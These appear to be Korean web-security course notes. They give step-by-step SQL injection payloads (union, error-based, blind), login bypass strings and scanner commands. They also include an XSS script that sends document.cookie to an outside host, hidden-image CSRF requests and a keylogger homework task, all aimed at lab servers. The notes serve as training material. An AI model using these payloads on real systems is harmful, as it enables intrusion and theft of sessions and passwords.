320x100

UNION SQL INJECTION

→ 공격 Format 만들기

%’ union select 1,2,3,4 #

 

우리가 질문하고 싶은 select문을 위해 적용한 다음에 실행을 한다

 

DB이름 → 테이블이름 → 컬럼이름 → 데이터 추출

 

SQL 질의문의 결과 데이터가 화면에 출력되는 곳에서 union sql injection을 활용할 수 있다.

  1. SQL질의 결과가 화면에 출력된다? → union sqli
  2. Error 출력될 때 → Error Based SQL Injection → 에러 메시지를 활용해서 데이터를 출력

에러 베이스에서 활용할 수 있는 조건은 아래와 같다.

→ 로직 에러

→ SQL 에러

 

문법 에러 / 로직 에러

 

코드를 컴퓨터가 읽고 실행하는 과정에서는 컴파일이라는 과정이 있다.

SQL 언어도 DB가 SQL 언어를 해석하고, 컴파일하는 과정을 진행한 이후에 실행을 한다.

문법 에러 syntax error

select * from member asdasdasdav

select * from member where id = ‘

 

→ SQL syntax error 는 실행이 안되기 때문에 쓸모가 없다.

 


 

XML (eXtensible Markup Language)

: 데이터를 구조화된 형태로 표현하기 위한 마크업 언어입니다.

 

Logic error를 유발할 수 있는 팁 

-> mysql, oracle, mssql 모두 다름

 

 

XML 데이터에서 어떤 특정 데이터를 추출해내는 함수

extractvalue(1,2)

앞에 XML 문법 /  인자가 2개

 

 

 

아래와 같이 유효하지 않는 표현식을 사용하면 XPATH 에러가 나오게 된다.

사진처럼 앞에 특수문자 : 등을 적어주면 된다.

 

 

- extractvalue('1' , 은 아무 숫자

 

- concat (문자를 붙여주는 역할)

concat (’1’, ‘2’) —> 12

 

- select 문에 우리가 궁금해하는 데이터, select SQL 질의문을 넣으면 화면에 출력이 된다.

ex) select ‘normaltic’ 이 부분에 넣으면 된다.

 

 

 

Error based SQLi

→ 에러 메시지를 활용해서 sql 질의문을 삽입

→ 데이터 추출이 목적

 

(select ~)

(select pass from member where id = ‘normaltic’) = 1

‘1234’ = 1

 

SQL 에러 메시지 -> 1234는 숫자가 아니에요

 

에러메시지 안에서 데이터를 확인할 수 있는 것이다.

select 문의 결과를 어떻게 에러메시지에 포함될 수있을까요?

 

MySQL 에 존재하는 추출방법

extractvalue (’xml 글자’, ‘xml 표현식’)

 

 

문법에 맞지 않는 신텍스 에러가 나와서 마지막에 and ‘1’=’1 로 문법을 맞춰준다

 

 

그럼 아래와 같이 로직 에러가 나온다

 

앞에 콜론이 있어야지 데이터가 출력이 되는데 그럼 select 문을 넣을 수가 없다

→ concat 이라는 함수를 사용한다

concat(’hello’, ‘test’) → hellotest

concat(’:, ‘test’) → hellotest

concat(’0x3a, ‘test’) → hellotest

 

이렇게 쓰면 —→ :test 라는 글자가 만들어지면서 : 을 만들 수 있는 것이다.

콜론을 넣어야만 되는 이유

extractvalue 때문에 그렇다

: 콜론으로 시작하는 xml 표현식이 아니기 때문에 에러가 발생하는 것이다. → : , ! 도 가능

 


  1. SQL 포인트 찾기

SQL syntax 에러는 SQL쿼리와 관련된 에러이다.

우리가 원하는 SQL 에러가 화면에 출력되고 있다.

 

2. 에러를 출력 함수

extractvalue

 

 

3. 공격 format 만들기

첫번째 and 를 써야지 구문이 맞춰진다.

→ normaltic’ and extractvalue() and ‘1’=’1

→normaltic’ and extractvalue(’1’ , concat(0x3a, (___________))) and ‘1’=’1

ex)

 

이렇게 넣으면 normaltic 이라는 데이터가 화면에 출력이 된다.

normaltic’ and extractvalue(’1’ , concat(0x3a, (select ‘normaltic’))) and ‘1’=’1

DB가 화면에 출력되는지 우선 확인하고 진행해야한다.

 

 

4. DB 이름 출력

select database()

normaltic’ and extractvalue(’1’ , concat(0x3a, (___________))) and ‘1’=’1

→ normaltic’ and extractvalue(’1’ , concat(0x3a, (_select database()))) and ‘1’=’1

DB 이름을 알아낼 수있다. —> segfault_sql

 

 

5. 테이블 이름 알아내기 :game, member, secret, …..

select table_name from information_schema.tables where table_schema=’segfault_sql’

normaltic’ and extractvalue(’1’ , concat(0x3a, (_select table_name from information_schema.tables where table_schema=’segfault_sql’))) and ‘1’=’1

붙여넣으면 한개 이상의 이 나와서 에러가 나옴

 

 

그럼 행이 하나만 출력되게 limit 을 사용해야한다.

normaltic’ and extractvalue(’1’ , concat(0x3a, (__select table_name from information_schema.tables where table_schema=’segfault_sql’ limit 0,1))) and ‘1’=’1

limit 0,1 → limit 1,1 → limit 2,1 등으로 돌려가면서 테이블 이름을 확인할 수 있음

 

 

공격 format을 만들고 → 우리가 실행하고 싶은 select 찾기 → 복사 붙여넣기

  1. 컬럼이름 idx → name → score …

normaltic’ and extractvalue(’1’ , concat(0x3a, (___________))) and ‘1’=’1

select column_name from information_schema.columns where table_name=’game’ limit 0,1

normaltic’ and extractvalue(’1’ , concat(0x3a, (_select column_name from information_schema.columns where table_name=’game’ limit 0,1))) and ‘1’=’1

첫번째 컬럼 idx → name → score …

limit 0,1 → limit 1,1 → limit 2,1

 

 

  1. 만약 game 테이블에 있는 name 컬럼을 출력하고 싶다

select name from game limit 0,1

normaltic’ and extractvalue(’1’ , concat(0x3a, (___________))) and ‘1’=’1

normaltic’ and extractvalue(’1’ , concat(0x3a, (_select name from game limit 0,1))) and ‘1’=’1

 

 

 


error based SQL Injection 자동화

terminal

python3 errorBasedSqli_request.py

테이블 이름을 출력하고 싶다

파이선으로 만들어서 자동화를 하면 테이블을 하나씩 찾지 않고 모든 테이블을 쉽게 볼 수 있다.

 

 

 

여담

500에러와 에러 메시지 출력은 어떻게 다른가 ??

  • 500에러

→ 에러에 대해서 처리해주지 않았을 때

  • 개발자들은 그런 환경에서 개발하지 않는다.

내가 어디서 개발하다가 문제가 났는지 알 수 있도록 에러메시지가 화면에 출력이 되도록 프로그래밍을 한 것 이다.




  1. SQL 질의문 결과가 화면에 출력되는 경우 : UNION SQL
  2. 에러메시지가 화면에 출력되는 경우 : Error Based SQLi
  3. SQL질의문 결과가 화면에 안나오는 경우, 그런데 SQL 질의문을 사용하기는 할 때 : Blind SQLi

→ 로그인 페이지 : 로그인이 된다, 안된다 결과가 보임

→ 아이디 중복체크 : 아이디와 비밀번호 이름이 출력되는 것이 아니라, 아이디를 사용할 수 있다, 없다만 결과를 나옴

→ 이런 곳에서도 데이터를 빼낼 수 있을까? Blind SQLi

  • 참과 거짓의 응답 차이를 통해서 알아낼 수있다.

 

 

 


Blind SQLi 단계

 

1. SQL Injection 포인트 찾기

normaltic’ and ‘1’=’1 → 참 → 존재하는 아이디입니다.

normaltic’ and ‘1’=’2 → 거짓 → 존재하지 않는 아이디입니다.

항등원으로 쿼리를 보냈을 때, 참 또는 거짓이라는 값이 나오면 SQL Injection 이 가능하다는 것이다.

 

 

2. Select 문구 사용 가능한지 확인

normaltic’ and ((select ‘test’)=’test’) and ‘1’=’1 → 참 → 존재하는 아이디입니다.

normaltic’ and ((select ‘test’)=’abc’) and ‘1’=’1 → 거짓 → 존재하지 않는 아이디입니다.

 

 

3. 공격 format

normaltic’ and (조건) and ‘1’=’1

substr() ⇒ 글자를 잘라주는 함수

substr(’test’,1,1) ⇒ ‘t’

substr(’test’,1,2) ⇒ ‘te’

substr(’test’,2,1) ⇒ ‘e’

substr((SQL),1,1)

substr((select ‘test’),1,1) → ‘t’

공격 Format에 넣는다.

 

 

normaltic’ and (substr((select ‘test’),1,1)) and ‘1’=’1 ⇒ 존재하는 아이디입니다.

아스키코드를 활용

 

 

ascii(’a’) = 97

substr((SQL),1,1) → 한글자로 가져와서

ascii(substr((SQL),1,1)) > 0 → 숫자로 바꿈

select ‘normaltic’

normaltic’ and (ascii(substr((SQL),1,1)) > 0) and ‘1’=’1

normaltic’ and (ascii(substr((select ‘normaltic’),1,1)) > 0) and ‘1’=’1

normaltic’ and (ascii(substr((select ‘normaltic’),1,1)) > 70) and ‘1’=’1 등등

repeater 에 보내서 → URL 디코딩 → 실행

 

send 보내서 존재하면 화면이 바로 나옴

존재하지 않으면 화면에 안나옴

 

 

 

4. db 찾기

select database()

normaltic’ and (ascii(substr((select database()),1,1)) > 0) and ‘1’=’1

 

 

5. talbe 이름

select table_name from information_schema.tables where table_schema=’segfault_sql’ limit 0,1

normaltic’ and (ascii(substr((select table_name from information_schema.tables where table_schema=’segfault_sql’ limit 0,1),1,1)) > 0) and ‘1’=’1

  1. column 이름
  2. db 데이터 추출

자동화 하기 전에 수작업으로 해보라 blind practice

 

 

 

 


오늘 과제

  1. Error based SQLi 정리 & 연습문제 풀기

[SQL Injection (Error Based SQLi Basic)]

  1. Blind SQLi 정리 & 연습문제 풀기

[SQL Injection (Blind Practice)]

  • 수작업 -

이번주 과제

  1. SQLi 데이터 추출 총 정리
  2. SQLi 문제 풀어보기
  3. write up

웹 사이트 개발 과제

게시판 페이지 만들기

DB에 테이블

글 번호, 제목, 작성자, 날짜 등 테이블을 만든다음 → 더미 데이터를 넣어놓는다 → 화면에 출력

  • 게시글 리스트 보여주는 페이지
  • 게시글 상세 내용 보여주는 페이지
  • 게시글 작성 페이지
300x250
320x100

 

고민없이 무지성으로 해결방법만 찾으면 실력이 늘지 않는다.

 

디버깅

→ 문제의 원인을 찾기

  1. 디버깅 echo 를 통해서 문제를 찾아보기

 

 

phpmyadmin 접속하  직접 SQL 구문을 출력해서 어떻게 결과값이 나오는지 확인해보기

 

직접 SQL 구문을 출력해서 어떻게 결과값이 나오는지 확인해보기

 

 

SQL 인젝션도 직접 해보면서 결과값이 어떻게 나오는지 보기

 

Step by Step

  • 개발시, 코드 조금씩 만들고 기능에 대해서 실행하고 문제가 없는지 확인하면서 진행해야한다.

 

SQL Injection : 인증 우회

→ DB 데이터를 사용하는 곳에서 SQL Injection을 사용해봐야한다.

→ 데이터가 화면에 나오는가? 안나오는가?

 

웹페이지에 데이터가 나온다 : 게시판

안나온다 : 로그인, 아이디 중복체크 (노말틱 엔터 누르면 아이디가 있다, 없다 정도만 나오고 데이터가 안나옴)

 

 

웹페이지에 데이터가 나오는 경우에서 데이터를 추출하는 방법

  • 게시판에서 글을 읽으면 게시글이 나오고 게시판 내용이 쭉 나오는 화면이 있다고 가정
  • 웹서버에서는 DB 게시글 데이터 → 웹페이지에 채움 → 클라이언트에 응답하는 형태
  • DB를 인젝션하면 우리가 원하는 데이터로 조작이 가능하다.

아래와 같은 SQL 쿼리가 있다고 가정을 했을때

 

 

모든 사람의 데이터를 조회하기 위해서는 아래와 같이 인증우회를 하면 된다.

 

select * from board where idx = ‘__’ or ‘1’=’1’

→ 즉, board 라는 테이블에서 벗어날 수 없다

다른 테이블에 있는 데이터를 가져올 수 있는 방법은 → UNION

ex) select ~~~ UNION select ~~

 

 

select * from board where idx = ‘__’

→ UNION 을 사용하면 select 문을 한번 더 사용할 수 있다. (요청한 두가지 데이터가 하나의 컬럼으로 합쳐서 나온다) + 컬럼명은 앞에 있는 컬럼명을 따라간다)

→ 컬럼명을 통일시켜서 1개 이상의 컬럼에도 적용이 가능하다.

 

 

아래와 같이 데이터를 맨 밑에 추가하는 것도 가능하다. (컬럼 개수가 항상 동일해야한다 → 아니면 에러)

 

UNION을 사용하기 위해서는 컬럼 개수를 알아내야한다.

ORDER BY (오름차순 정렬) → 출력되는 데이터를 정렬할 때 사용한다

order by 는 select 문 맨뒤에 적는 것이 원칙

 

select id, pass from member order by pass ← pass로 정렬을 해줘 (정렬하기 원하는 컬럼 이름을 맨뒤에 적으면 됨)

인덱스 번호를 적어도 작동을 한다

 

예를들어, 1 이라고 적으면 DB의 첫번째 컬럼을 기준으로 정렬이 되고, 2로 하면 두번째 컬럼을 기준으로 정렬이 된다.

 

 


 

admin is mine 문제

 

응답값을 바꾼다.

Do intercept → Response to this request

 

 

Forward → 응답값 변경

Fail → Ok

 

 

하면 index.php 로 들어가졌다가 다시 login.php 페이지로 나온다.

 

result 값을 변경하여 index.php 페이지로 들어갔는데,

아래와 같이 login.php로 이동하라는 script가 존재한다.

 

 

즉 로그인이 필요 없던 곳이다.

로그인 인증한 사람이 아니면 <script>가 실행되는 것으로, 스크립트만 지워주고 Forward 를 하면 로그인이 가능했다.

즉, index.php 페이지에서 자바스크립트를 걸어 막아 놓은 것이다.

 


 

Pin Code Crack 파이썬 자동화 코드

숫자 4개를 웹서버에 보내고 결과를 체크하는 것 뿐

→ 직접 만들어보기

 

 

 


UNION SQL Injection Process

1. SQL Injection 포인트 찾기

SQL 인젝션이 되는지 안되는지를 체크 해봐야한다. 보낸 데이터가 서버에서 어떻게 처리되는지 머리속으로 그린다.

 

 

몇가지 실험을 통해서 LIKE 절이 들어가있구나 라는 걸 생각할 수 있어야한다.

 

 

머리속으로 위와 같은 쿼리가 머리속에 그려졌다면,

그 조건을 맞춰서 아래와 같이 1=1 참이 되는 구문을 만들어서 테스트해본다.

→ 작은 따옴표를 넣어서 SQL 데이터를 조작할 수 있는지 체크

 

 

 

2. COLUMN 개수 찾기 : 4개

 

order by를 사용해서 컬럼의 개수를 파악해본다

ex) order by 4까지는 검색이 되고, 5부터는 에러가 나오면

→ 컬럼이 총 4개라는 것이 된다.

 

select (column1, column2, column3, column4)

화면에, 즉 눈에 보이는 컬럼이 전부가 아니다라는 것을 명심해야한다.

실제 컬럼은 4개지만 화면에는 3개만 출력하고 있는 뿐이다.

 

 

3. 출력되는 column 위치 찾기

 

 

 

1,2,3,4를 출력했지만, 실제로 화면에는 2, 3, 4만 출력이 된다

즉, 1은 사용할 수 없는 것이다.

 

 

pass 를 1번 컬럼말고 출력이 되는 2, 3, 4번 중에 골라서 넣으면 된다.

 

 

비밀번호가 두번째 행부터 나오기 시작한다.

 

 

4. DB 이름 확인 :

segfault_sql 아래와 같은 형식의 쿼리를 사용해서 DB를 가져올 수 있다. select database()

 

 

 

 

 

5. Table 이름 확인 : game, member, secret, secret_member

 테이블은 DB안에 존재한다. 저장되어 있는 테이블이 존재한다

→ DB를 유지하기 위해서 DB와 관련된 정보들을 저장하고 있는 테이블이 별도로 존재한다.

 

information_schema.tables information_schema 라는 DB 안에 존재하는 tables 에서 확인을 하겠다. 라는 의미

 

SQL 질의 select table_name from information_schema.tables where table_schema = ‘DB이름’

 

 

 

6. Column 이름 확인

어딘가에는 테이블이름이 저장되어있다, 어딘가에는 컬럼이름이 저장되어있다.

→ 구글 검색 : mysql select table name select column_name from information_schema.columns where table_name = ‘테이블이름

 

 

 

7. Data 추출

추출하고 싶은 데이터가 예를 들어 아래와 같다.

 

select id, pass from member

over%’ union select 1,id,pass,4 from member #

 

아이디와 비밀번호를 가져올 수 있다.

 

 

 


과제

  1. UNION SQL Injection 복습
  2. http://ctf.segfaulthub.com:1020/sqlInjection3.php
  3. doldol 데이터만 출력하기 (하나만 나오게) http://ctf.segfaulthub.com:1020/sqlInjection_2_1.php
  4. CTF 문제 풀기

→ SQL Injection 1, 2 풀어보기

  • 웹 개발

→ 3개월 전까지 커뮤니티 사이트를 만드는 것이 목표

→ 로그인 페이지

→ 회원가입

→ 마이페이지 (내 정보 보기)

→ 게시판 만들기 (글 쓰고, 수정, 삭제, 글 보면 조회수 올라가고, 파일 업로드 가능)

300x250
320x100

 

<인증 우회> - 로그인 우회

인증 : 내가 나라는 것이 맞다라는 것을 증명하는 것

  • 로그인인증, 핸드폰인증, 핀번호 인증

버프수트 → 웹 프록시 툴

Web : 정적리소스를 전달

WAS : 동적리소스를 전달

DB : 데이터를 보관

 

Client - Web - WAS - DB

* WAS 속에 SQL 언어를 넣어놔야 DB와 이야기를 한다

 

Web Browser

Front End(클라이언트 단)

HTML, CSS, Javascript(script 안에서 실행하는 자바)

Back end (서버 단)

ASP, JSP, PHP, Python, Javascript

 

쿠키 : 데이터에 넣어서 웹서버에 보내고, 클라이언트가 누구인지 인식하게 만든다 (포스트잇 역할)

→ 웹서버가 내가 어드민 이라고 보내면, 관리자로 인식하고 관련 정보를 전달하는 문제 발생

→ 그래서 나온 것이 “세션”

 

세션: 세션 정보를 서버에 저장을 하는데 식별을 위하여 만든 것은 세션ID 이다.

 

로그인 인증

ID 식별

  • 특징: 중복되는 데이터가 없어야 한다. → 아이디를 기준으로 정보를 찾는 것
  • $sql = select password from member where id = ‘normaltic’ —> 비밀번호 출력
  • $db_pass = sqlExecute($sql);
  • if($db_pass == $user_input) {로그인 성공 } else { 로그인실패}
  • $sql = select password from member where id = ‘normaltic’ and password=’$user_input’ —> 아이디와 비밀번호가 같으면 로그인이 되는 형태

SQL Injection → SQL 문법을 비정상적으로 삽입하여 공격

정상: select * from member where id = ‘normaltic’

비정상 : select * from member where id = ‘normaltic’’

웹서버는 SQL구문을 미리 준비하고 있다.

 

→ select * from member where id = ‘____’

normaltic ‘ and ‘1’=’1 을 넣으면?

1=1 은 항상 true 이기 때문에 통과된다.

 

 

 

normaltic’ #

#은 SQL 언어에서 주석

→ 코드 안에 주석을 넣으면 이것은 코드가 아니다. 라고 표시 # 뒤에 있는 내용은 무시가 됨

 

 

 

 

 

리피터 활용

응답코드가 300 으로 나오면 rediect 이기에 location 이 있음

 

DB 데이터를 가져오는 문법을 생각해야함

파라미터만 보고 아래와 같이 SQL 구문을 활용해서 응답이 오겠구나! 라고 생각을 할 줄 알아야 한다.

 

select from member where id=’____’

SQL 인젝션이 일어나는지 확인이 필요하다.

doldol’ and ‘1’=’1

 

정상적인 아이디와 비밀번호에 테스트 → doldol’ and ‘1’=’1 를 했는데 로그인이 정상적으로 들어간다?

그럼 and 뒤에 부분이 무시가 된 것 = 즉, sql injection 이 일어난다.

 

 

가정을 하고 SQL Injection 을 진행 해본다.

  1. 식별 인증 동시
    1. select from member where id=’’ and pass=’

정상적인 아이디와 비밀번호를 입력하면 302 코드가 나오는 것을 확인

즉, redirect 되고 있다는 것,

현 상황에서 SQL Injection을 활용해야함

 

 

 

 

식별 인증 동시 로그인 로직이라고 가정

select from member where id=’’ and pass=’

→ normaltic1' or '1'='1

select * from member where id=’normaltic1' or '1'='1’ and pass=’random

 

 

 

인증 우회 종류

  • Brute Force : 무작위 대입 공격
  • 사전 대입 공격 : 쓸만한 비밀번호를 다 입력해본다.
  • Jump

파일 이름을 보고 다음 파일이름을 유추해서 넘어가기

A - B - C

  1. 약관 동의
  2. 본인인증
  3. 아이디, 비밀번호 … 입력

 

5주차 과제

  1. 오늘 수업 복습
  2. 인증 우회 실습 문제 풀기

만든 로그인 페이지에서 테스트를 하고 → 풀어보고

풀었으면 write up 문제풀이 작성 (왜 여기에 넣었는지)

  1. 웹 개발

로그인 페이지, 회원가입 페이지 만들어오기

게시판 만들기 (로그인하고 사용하는 게시판)

로그인 페이지를 우회하는건 직접 만들고 실험하면서 풀면 도움이 더 될 것이다.

키로거 …

300x250
320x100

쿠키 / 세션 / 세션ID

쿠키 : 웹 서버로 요청을 보낼 때 붙이는 포스트잇 (데이터쪼가리)

세션 : 서버에 저장되는 연결정보

세션ID : 세션이 누구꺼인지 식별하는 것

Proxy

Proxy는 사용자의 요청(request)을 받아 대신 인터넷이나 다른 서버에 전달하고, 그 응답(response)을 다시 사용자에게 반환하는 중개 서버입니다.

즉, 클라이언트(사용자)와 서버(목적지) 사이에 위치하여 트래픽을 대신 처리하는 역할을 합니다.

 

Burp suite 가이드

→ Web Proxy Tool

웹 서버로 오고 가는 요청(패킷)을 대신 전달해주는 친구

 

 

 

proxy listener

 

 

Loopback only : 내 컴퓨터에서만 버트수트를 사용할 수 있게 하는 것 (LOCAL 환경 구성)

 

All interface : 다른 컴퓨터에서 우리 컴퓨터로 연결하기 위함 (외부 컴퓨터에서도 버프스윗을 사용할 수 있다)

 

1. 우리 컴퓨터에서 버프스윗을 실행하고,

2. 다른 컴퓨터가 오는 프록시를 전달해서

3. 우리 컴퓨터에서 버프스윗을 실행하고 전달 한다

→ 모바일 앱 해킹 시 필요

 

 

버프스윗은 리스너라는 걸 열어둬야하고 → 리스너로 데이터를 보내는 것이다.

리스너로 데이터를 넣어야, 보내주고 응답받고 전달을 해준다 (프록시의 핵심)

어떻게 열어야 하는가?

 

 

 

이 후 브라우저 setting 에서 프록시를 수동설정하여 위와 일치 시킨다

원래는 브라우저 → 구글 서버 이렇게 보내야 하는데

설정을 통해 브라우저 → 프록시 → 구글 서버 이렇게 접속하는 걸로 바꾼 것

 

 

웹 프록시 툴을 사용하는 이유

중간에 거치게 만들음으로써 실제 우리가 사용하는 브라우저가 웹서버와 데이터를 주고 받을 때 어떤 패킷을 주고 받는지, 직접 하나 하나 다 볼 수 있다. (요청값, 응답값)

→ 중간에서 전달하기 때문에, 중간에서 데이터를 고칠 수도 있다.

 

모바일 앱 해킹 시,

내 핸드폰에 내가 해킹 할 앱을 설치

이 앱이 통신을 할 때 어떤 요청과 응답을 받는지 궁금한 상황

이것을 proxy를 이용하여 볼 수 있다.

내 핸드폰에서 → proxy 설정을 할 수 있다


다른 방법

Intercept → open browser 를 클릭하면 프록시 설정을 안해도 됨 (자동으로 세팅 되어 있는 브라우저가 켜진다)


특정에만 자동으로 잡게

  • request intercepting rules
  • response intercepting rules
  • match and replace rules
  • HTTP history
    • burp 를 통과한 요청들이 쌓이는 곳

예를들어, 로그인과정을 분석하고 싶으면 정상적으로 로그인을 해보고

history를 하나하나 뜯어서 분석을 해보는 것

repeater 같은 요청을 여러번 보내고 싶을 떄 사용하는 것

 

 

리피터로 패킷이 넘어오면 여기서 send 를 누르면 데이터가 여러면 보내진다.

 

 

  • decoder

직접 인코딩 또는 디코딩을 할 수 있다.

 

  • comparer

엄청 긴 글자가 있어서 무언가 미세하게 달라진 것 같은데 어디가 달라진지 모를때

복사해서 붙여넣어서 비교를 할 수 있다.

words , bytes 로 비교 가능하다

sync views를 통해서 어디가 달라졌는지를 확인할 수 있다.

  • Request

GET / 경로 / 프로토콜

헤더 : Host, Cache-Control, Accept, Cookie …

  • Response

프로토콜 / 상태코드

상태코드

  • 200 : OK
  • 300 : Redirect (위치를 알려주는 코드) → Location 이라는 헤더가 같이 응답된다.
  • 400 : Client error → 이용자 너가 잘못한거임 이라는 뜻

404 not found : 우리가 없는 자료를 요청했을 때 서버가 보내주는 것

  • 500 : Server Error 웹 개발할 때
  • 응답 헤더와 바디 사이는 띄어쓰기 한줄이 들어가야한다.

User-Agent 어떤 브라우저로 접속을 했는가를 알려줄때 사용

%3D → “ = “ (많이 보면 안다고함)

로그인을 하고 나서 들어가는 페이지를 만들 것임

 

 

*게시판 구현

  • 게시판 글 작성 : insert (회원가입에서 사용함)
  • 게시판 글 리스트 보기 : 지금 이 게시판에 어떤 게시글들이 있는지 보기 select → DB 데이터를 가져와서
  • 게시판 글 내용 읽기 : select
  • 게시판 글 수정: update : 마이페이지에서 정보 수정하는 기능 만든 것 처럼 하면 된다고 함
  • 게시판 글 삭제 : delete

** 게시판 페이징 기능

게시판 글이 100개 있다고 해서 100개가 전부 보이지는 않는다

한 10개 정도 나오고, 페이지를 1번, 2번, 3번 페이지로 이동하는 것

select * from board limit 0, 10 기능을 통해서 구현 가능

limit [index], [count]

즉 0번부터 10개를 가져온다는 말

**게시글 검색 기능

게시글 제목을 검색

select * from board

where title = ‘test’

이거는 게시판 제목에 정확히 test 여야 출력이 가능함

select * from board

where title = like ‘%test%’

% 문법을 앞 뒤로 넣으면

test 라는 글자가 앞뒤로 들어간 모든 글을 가져올 수 있다.

** 게시글 정렬 기능

제목 가나다 순으로 정렬 하고 싶을 때, 작성자 별로 정렬, 조회수 별로 정렬, 날짜별로 정렬

select * from board

order by 라는 구문을 통해서 정렬을 할 수 있다.

order by [column 이름] [asc/desc]

오름차순, 내림차순

 


limit 은 mysql 에서 사용가능하고 oracle 에서는 사용하지 못한다

과제

[1] 오늘 수업 복습

  • burp suite : CTF 문제 풀어보며 복습

[2] Javascript

  • 문법 (수업 노트) 적혀져 있는 것만 공부
  • Javascript.pdf
  • 쿠키 탈취 코드 vs 키로거 둘 중 하나 만들어보기
  • 자바스크립트 키로거 만들기
    • 로그인 페이지를 간단하게 만들고 아이디랑 비밀번호 쓸 때 키보드 입력창을 공격자 서버로 보내주는 것

[3] 게시판 구현

 

300x250
320x100

https://padlet.com/jaeminsg/4-t06frufenmdt7edu

210.121.193.52 : 테스트 서버

http://192.168.1.29/ : 테스트 서버

http://210.121.193.53/gmshop/ : 테스트 하기 좋은 사이트

진단 필요한 툴

  • Set character encoding : 화면이 깨져 보일때 사용할 수 있는 크롬 확장자 → Korean EUCKR 선택
  • 드래그프리 : 사이트 복사하기 힘들때 사용하는 크롬 확장프로그램
  • powertoys : 캡처할때 캡처 안되는 그림파일 같은 것들을 캡쳐해서 붙여넣기 하면 텍스트로 붙여넣어짐
  • editcookies : 세션 값을 보는법 크롬 확장프로그램

XSS vs CSRF 주관식 (비교) 서술해야함

XSS

세션을 탈취, 악성코드 연결

Reflective XSS

  • 클릭을 유도

Stored XSS

  • 게시물을 보게 하는 것

 

세션 값을 보는법

크롬 확장앱 : editcookies

개발자모드 → 어플리케이션 → 쿠키를 통해 쿠키값을 확인 할 수 있고 수정 할 수 있다.

 

개발자모드 → 네트워크 들어가서 웹 페이지를 새로고침을 하면 시간적 요소도 볼 수 있다.

이것을 통해 어디서 지연이 생기는지 파악할 수 있다.

 

실습 4 SQLi 로 인증우회 (실습안함)

실습 4 SQLi 로 인증우회

  1. 관리자 페이지 찾기

구글검색 or Nikto or Nmap or OWASP-ZAP 등

nikto -h http://210.121.193.52 (취약점과 중요 경로) nikto -h http://210.121.193.52 -C all (관리자페이지 찾기위한 내장 플러그인 활용) nikto -h http://210.121.193.52 -fileext php,asp,html

nmap -p 80,443 210.121.193.52 nmap --script http-enum -p 80 210.121.193.52

210.121.193.52/admin/

SELECT admin_Id, admin_Pass from admin WHERE admin_ID = ' "& Request("admin_id") &" ' AND admin_Pass =' "& Request("admin_pass") &" '

' or '1'='1

SELECT admin_Id, admin_Pass from admin WHERE admin_ID = ' ' or '1'='1 ' AND admin_Pass =' ' or '1'='1 '

스크립트 문자열 우회방법

(1)

아래와 같이 겹쳐쓰면, script 하나가 필터링되고 나머지가 붙으면서 스크립트가 실행이 된다.

<input type="text" name="w" value=" "><script>alert(document.cookies);</script>-- " size="15">

<script scr= "http://210.121.193.53/a.js></script>

이 코드는 외부 JavaScript 파일을 불러오는 데 사용됩니다.

시나리오

    1. 브라우저에서 테스트1 / 1111 으로 로그인을 한다.
    2. 새로운 브라우저를 열어 위의 쿠키값을 개발자모드 → 응용프로그램 → 쿠키값에 붙여넣기
      • Metasploitable2
      • bee-box

실습 5 XSS

    1. 210.121.193.52

      쿠키를 attacker에게 전송한는 스크립트로 게시물 내용에 적어 넣으면 됩니다. 크기가 0인 이미지이므로 보이지는 않습니다.

      [공격 실습] <script src= "http://210.121.193.53/a.js"></script>

      <a.js> document.write("<iframe src='http://210.121.193.53/cookie.php?cookie="+document.cookie+"' width=0 height=0></iframe>");

CSRF 실습

210.121.193.52/login/member_modify.asp?re_url=&mem_pwd=1111&mem_email=test%40test.com&tel1=02&tel2=111&tel3=1111&hp1=011&hp2=111&hp3=1111&zip1=111&zip2=111&addr1=111&addr2=

<img src="http://210.121.193.52/login/members_modify_ok.asp?re_url=&mem_pwd=1111&mem_email=test%40test.com&tel1=02&tel2=111&tel3=1111&hp1=011&hp2=111&hp3=1111&zip1=111&zip2=111&addr1=111&addr2=" width=0 height=0>

(시나리오)

test2 가 스크립트 게시물을 읽을 경우 test1 의 정보를 불러와서 (주민번호를 제외한) 나머지 정보 수정할 때 적었던 내용들이 모두 test1 의 정보로 변경이 된다.

실습 6 CSRF

CAMEL 사이트 [정보수정] 에서

정보수정하는 URL 을 캡쳐

<img src="http://~" width=0 height=0>

으로 만들어서 게시물에 올림

게시물을 본 사람의 정보가 수정됨

이유?

update member set mem_pwd='"&mem_pwd&"', ....

where mem_id='"&session("id")&"'

현재 세션값의 id의 정보 수정하게 됨

실습 6 CSRF

POST 를 GET 방식으로 변환

210.121.193.52/login/members_modify_ok.asp?re_url=&mem_pwd=1111&mem_email=test%40test.com&tel1=02&tel2=111&tel3=1111&hp1=011&hp2=111&hp3=1111&zip1=111&zip2=111&addr1=111&addr2=

<img src="http://~ " width=0 height=0> 으로 안보이는 이미지로 변환

다음을 게시물에 입력 <img src="http://210.121.193.52/login/members_modify_ok.asp?re_url=&mem_pwd=1111&mem_email=test%40test.com&tel1=02&tel2=111&tel3=1111&hp1=011&hp2=111&hp3=1111&zip1=111&zip2=111&addr1=111&addr2=" width=0 height=0>


내 비밀번호는 안전할까?

https://www.security.org/how-secure-is-my-password/

숫자는 101010 ……. 총 자리 수 이런식으로 계산된다.


엔터프라이즈관리자 : DB를 관리하는 도구

SQL server _ server 그룹 _ local _ 데이터베이스 _ camel _ 테이블 → 모든사용자

http://210.121.193.52/[board/index.asp](http://192.168.145.136/board/index.asp)?cmd=view&gubun=gel&info_idx=3 and ascii(substring((select distinct top 1 table_name from information_schema.tables order by table_name asc), 1,1)) =97

실습7 Blind SQLi

실습7 blind SQL 인젝션

  1. 에러 유발 - 에러가 안나는 것은 필터링 처리 때문 info_idx=6 뒤에 ' 입력 > 에러발생
  2. 문자변수인지 숫자변수인지 확인 ~ info_idx=6 ' and '1'='1 문자로 인식할 경우 (에러 발생) ~ info_idx=6 and 1=1 숫자로 인식할 경우 (에러 안남)
  3. blind SQL 인젝션의 기본 조건은 참과 거짓에 따라 다른 반응을 보이는 것 ~ info_idx=6 and 1=1 참 (에러 안남) ~ info_idx=6 and 1=2 거짓 (에러 발생)
  4. ==> blind sql 인젝션 가능성 확인
  5. 아스키코드 ~ info_idx=6 and ascii('a') between 32 and 127
  6. substring 함수 substring('abc',1,1) 의미는 'abc' 단어의 첫번째 글자, 한 개 즉 a를 뜻함 ~ info_idx=6 and ascii(substring('abc',1,1)) = 97
  7. between a and b는 안해도 되지만 좀더 쉽게 하기 위함, 또는 '=' 필터링 시 사용 ~ info_idx=6 and ascii(substring('abc',1,1)) between 32 and 127
